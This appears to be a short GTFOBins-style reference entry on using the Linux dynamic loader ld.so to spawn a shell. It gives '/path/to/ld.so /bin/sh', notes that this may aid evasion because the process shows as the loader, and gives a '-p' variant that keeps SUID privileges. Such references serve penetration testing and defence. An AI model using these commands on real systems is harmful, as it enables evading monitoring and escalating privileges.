ld.so

Shell

The spawned process will be the loader, not the target executable, this might aid evasion. See <https://shyft.us/posts/20230526_linux_command_proxy.html> for more information.

/path/to/ld.so /bin/sh

SUID override:

/path/to/ld.so /bin/sh -p